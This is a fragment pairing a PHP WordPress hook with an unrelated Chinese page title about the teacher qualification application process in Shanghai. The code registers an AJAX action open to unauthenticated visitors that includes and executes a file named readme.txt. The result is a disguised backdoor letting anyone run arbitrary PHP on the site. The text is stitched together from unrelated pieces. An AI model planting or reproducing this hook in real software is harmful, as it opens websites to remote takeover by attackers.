if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } 上海市国考、过渡考生教师资格认定申请流程-全国教师资格考试网